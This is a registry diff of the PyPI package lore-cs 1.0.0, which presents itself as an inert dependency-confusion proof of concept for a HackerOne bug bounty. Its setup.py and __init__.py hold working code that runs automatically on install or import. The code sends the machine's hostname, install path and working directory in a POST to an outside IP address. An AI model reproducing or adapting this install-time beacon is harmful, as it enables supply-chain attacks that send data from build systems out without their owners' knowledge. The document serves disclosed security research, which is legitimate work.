lore-cs 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- lore_cs-1.0.0/PKG-INFO +34 -0
- lore_cs-1.0.0/README.md +21 -0
- lore_cs-1.0.0/lore_cs/__init__.py +37 -0
- lore_cs-1.0.0/lore_cs.egg-info/PKG-INFO +34 -0
- lore_cs-1.0.0/lore_cs.egg-info/SOURCES.txt +7 -0
- lore_cs-1.0.0/lore_cs.egg-info/dependency_links.txt +1 -0
- lore_cs-1.0.0/lore_cs.egg-info/top_level.txt +1 -0
- lore_cs-1.0.0/setup.cfg +4 -0
- lore_cs-1.0.0/setup.py +76 -0
lore_cs-1.0.0/PKG-INFO
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: lore-cs
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games HackerOne program. Intentionally inert: reports install once and does nothing else.
|
|
5
|
+
License: UNLICENSED
|
|
6
|
+
Requires-Python: >=3.7
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
Dynamic: description
|
|
9
|
+
Dynamic: description-content-type
|
|
10
|
+
Dynamic: license
|
|
11
|
+
Dynamic: requires-python
|
|
12
|
+
Dynamic: summary
|
|
13
|
+
|
|
14
|
+
# SECURITY RESEARCH CANARY — PyPI `lore-cs`
|
|
15
|
+
|
|
16
|
+
This distribution is **intentionally inert** and is published solely as a
|
|
17
|
+
dependency-confusion proof of concept under the **Epic Games HackerOne** bug
|
|
18
|
+
bounty program.
|
|
19
|
+
|
|
20
|
+
- It reports ONLY build-environment metadata: the package name, the machine
|
|
21
|
+
hostname, the install path inside `site-packages`, and the process cwd.
|
|
22
|
+
- It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
|
|
23
|
+
(`content-type: application/json`), once at build/install time and again on
|
|
24
|
+
import if a pre-built wheel is used.
|
|
25
|
+
- It does not read environment variables, files, credentials, or tokens, and it
|
|
26
|
+
never fails the build or import.
|
|
27
|
+
|
|
28
|
+
The callback demonstrates that this name was resolved from the public PyPI
|
|
29
|
+
index by the target's build infrastructure.
|
|
30
|
+
|
|
31
|
+
## Researcher
|
|
32
|
+
|
|
33
|
+
- **Kero (@0xWise)**
|
|
34
|
+
- 0xwise@wearehackerone.com
|
lore_cs-1.0.0/README.md
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
# SECURITY RESEARCH CANARY — PyPI `lore-cs`
|
|
2
|
+
|
|
3
|
+
This distribution is **intentionally inert** and is published solely as a
|
|
4
|
+
dependency-confusion proof of concept under the **Epic Games HackerOne** bug
|
|
5
|
+
bounty program.
|
|
6
|
+
|
|
7
|
+
- It reports ONLY build-environment metadata: the package name, the machine
|
|
8
|
+
hostname, the install path inside `site-packages`, and the process cwd.
|
|
9
|
+
- It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
|
|
10
|
+
(`content-type: application/json`), once at build/install time and again on
|
|
11
|
+
import if a pre-built wheel is used.
|
|
12
|
+
- It does not read environment variables, files, credentials, or tokens, and it
|
|
13
|
+
never fails the build or import.
|
|
14
|
+
|
|
15
|
+
The callback demonstrates that this name was resolved from the public PyPI
|
|
16
|
+
index by the target's build infrastructure.
|
|
17
|
+
|
|
18
|
+
## Researcher
|
|
19
|
+
|
|
20
|
+
- **Kero (@0xWise)**
|
|
21
|
+
- 0xwise@wearehackerone.com
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
# SECURITY RESEARCH CANARY - fallback path (Epic Games HackerOne dep-confusion PoC).
|
|
2
|
+
#
|
|
3
|
+
# Some installers use a pre-built wheel and never open setup.py. If the package
|
|
4
|
+
# is imported, this fires the same inert ah-dc beacon so the PoC is still
|
|
5
|
+
# observable. Reports only build-environment metadata; nothing else is read or
|
|
6
|
+
# transmitted.
|
|
7
|
+
|
|
8
|
+
import json
|
|
9
|
+
import os
|
|
10
|
+
import socket
|
|
11
|
+
import urllib.request
|
|
12
|
+
|
|
13
|
+
try:
|
|
14
|
+
_base = os.environ.get("AH_DC_PUBLIC_URL", "http://185.158.107.175:8787")
|
|
15
|
+
_path = os.environ.get("AH_DC_PATH", "/_ah/dc")
|
|
16
|
+
_payload = {
|
|
17
|
+
"package": "lore-cs",
|
|
18
|
+
"hostname": socket.gethostname(),
|
|
19
|
+
"installPath": os.path.dirname(os.path.abspath(__file__)),
|
|
20
|
+
"cwd": os.getcwd(),
|
|
21
|
+
"userAgent": "python/import",
|
|
22
|
+
"protocol": "http",
|
|
23
|
+
}
|
|
24
|
+
_data = json.dumps(_payload).encode()
|
|
25
|
+
_req = urllib.request.Request(
|
|
26
|
+
_base.rstrip("/") + _path,
|
|
27
|
+
data=_data,
|
|
28
|
+
method="POST",
|
|
29
|
+
headers={"content-type": "application/json", "x-beacon-package": "lore-cs"},
|
|
30
|
+
)
|
|
31
|
+
urllib.request.urlopen(_req, timeout=5).read()
|
|
32
|
+
except Exception:
|
|
33
|
+
# Never raise from a canary: do not break the consumer.
|
|
34
|
+
pass
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
__all__ = []
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: lore-cs
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games HackerOne program. Intentionally inert: reports install once and does nothing else.
|
|
5
|
+
License: UNLICENSED
|
|
6
|
+
Requires-Python: >=3.7
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
Dynamic: description
|
|
9
|
+
Dynamic: description-content-type
|
|
10
|
+
Dynamic: license
|
|
11
|
+
Dynamic: requires-python
|
|
12
|
+
Dynamic: summary
|
|
13
|
+
|
|
14
|
+
# SECURITY RESEARCH CANARY — PyPI `lore-cs`
|
|
15
|
+
|
|
16
|
+
This distribution is **intentionally inert** and is published solely as a
|
|
17
|
+
dependency-confusion proof of concept under the **Epic Games HackerOne** bug
|
|
18
|
+
bounty program.
|
|
19
|
+
|
|
20
|
+
- It reports ONLY build-environment metadata: the package name, the machine
|
|
21
|
+
hostname, the install path inside `site-packages`, and the process cwd.
|
|
22
|
+
- It sends that as a single `POST` to `http://185.158.107.175:8787/_ah/dc`
|
|
23
|
+
(`content-type: application/json`), once at build/install time and again on
|
|
24
|
+
import if a pre-built wheel is used.
|
|
25
|
+
- It does not read environment variables, files, credentials, or tokens, and it
|
|
26
|
+
never fails the build or import.
|
|
27
|
+
|
|
28
|
+
The callback demonstrates that this name was resolved from the public PyPI
|
|
29
|
+
index by the target's build infrastructure.
|
|
30
|
+
|
|
31
|
+
## Researcher
|
|
32
|
+
|
|
33
|
+
- **Kero (@0xWise)**
|
|
34
|
+
- 0xwise@wearehackerone.com
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
lore_cs
|
lore_cs-1.0.0/setup.cfg
ADDED
lore_cs-1.0.0/setup.py
ADDED
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
# SECURITY RESEARCH CANARY - Epic Games HackerOne dependency-confusion PoC.
|
|
2
|
+
#
|
|
3
|
+
# Speaks the same wire protocol as the operator's ah-dc beacon server:
|
|
4
|
+
# POST <base>/_ah/dc {package, hostname, installPath, cwd, userAgent, protocol}
|
|
5
|
+
# and reports ONLY build-environment metadata (package name, hostname, install
|
|
6
|
+
# path inside site-packages, cwd). No environment variables, files, or
|
|
7
|
+
# credentials. Never fails the build.
|
|
8
|
+
#
|
|
9
|
+
# Authorization: Epic Games request on HackerOne report <REPORT-ID>.
|
|
10
|
+
# Unpublish after evidence capture.
|
|
11
|
+
|
|
12
|
+
import json
|
|
13
|
+
import os
|
|
14
|
+
import socket
|
|
15
|
+
import urllib.request
|
|
16
|
+
|
|
17
|
+
from setuptools import setup
|
|
18
|
+
|
|
19
|
+
BEACON_BASE = os.environ.get("AH_DC_PUBLIC_URL", "http://185.158.107.175:8787")
|
|
20
|
+
BEACON_PATH = os.environ.get("AH_DC_PATH", "/_ah/dc")
|
|
21
|
+
_PKG = "lore-cs"
|
|
22
|
+
_HERE = os.path.dirname(os.path.abspath(__file__))
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def _post_beacon():
|
|
26
|
+
"""POST one JSON beacon. Mirrors ah-dc's own npm beacon payload exactly."""
|
|
27
|
+
try:
|
|
28
|
+
payload = {
|
|
29
|
+
"package": _PKG,
|
|
30
|
+
"hostname": socket.gethostname(),
|
|
31
|
+
"installPath": _HERE,
|
|
32
|
+
"cwd": os.getcwd(),
|
|
33
|
+
"userAgent": "pip/software-install",
|
|
34
|
+
"protocol": "http",
|
|
35
|
+
}
|
|
36
|
+
data = json.dumps(payload).encode()
|
|
37
|
+
url = BEACON_BASE.rstrip("/") + BEACON_PATH
|
|
38
|
+
req = urllib.request.Request(
|
|
39
|
+
url,
|
|
40
|
+
data=data,
|
|
41
|
+
method="POST",
|
|
42
|
+
headers={
|
|
43
|
+
"content-type": "application/json",
|
|
44
|
+
"x-beacon-package": _PKG,
|
|
45
|
+
},
|
|
46
|
+
)
|
|
47
|
+
urllib.request.urlopen(req, timeout=5).read()
|
|
48
|
+
except Exception:
|
|
49
|
+
pass
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
_post_beacon()
|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
def _readme():
|
|
56
|
+
path = os.path.join(_HERE, "README.md")
|
|
57
|
+
if os.path.exists(path):
|
|
58
|
+
with open(path) as fh:
|
|
59
|
+
return fh.read()
|
|
60
|
+
return ""
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
setup(
|
|
64
|
+
name="lore-cs",
|
|
65
|
+
version="1.0.0",
|
|
66
|
+
description=(
|
|
67
|
+
"SECURITY RESEARCH CANARY - dependency confusion PoC for the Epic Games "
|
|
68
|
+
"HackerOne program. Intentionally inert: reports install once and does "
|
|
69
|
+
"nothing else."
|
|
70
|
+
),
|
|
71
|
+
long_description=_readme(),
|
|
72
|
+
long_description_content_type="text/markdown",
|
|
73
|
+
license="UNLICENSED",
|
|
74
|
+
packages=["lore_cs"],
|
|
75
|
+
python_requires=">=3.7",
|
|
76
|
+
)
|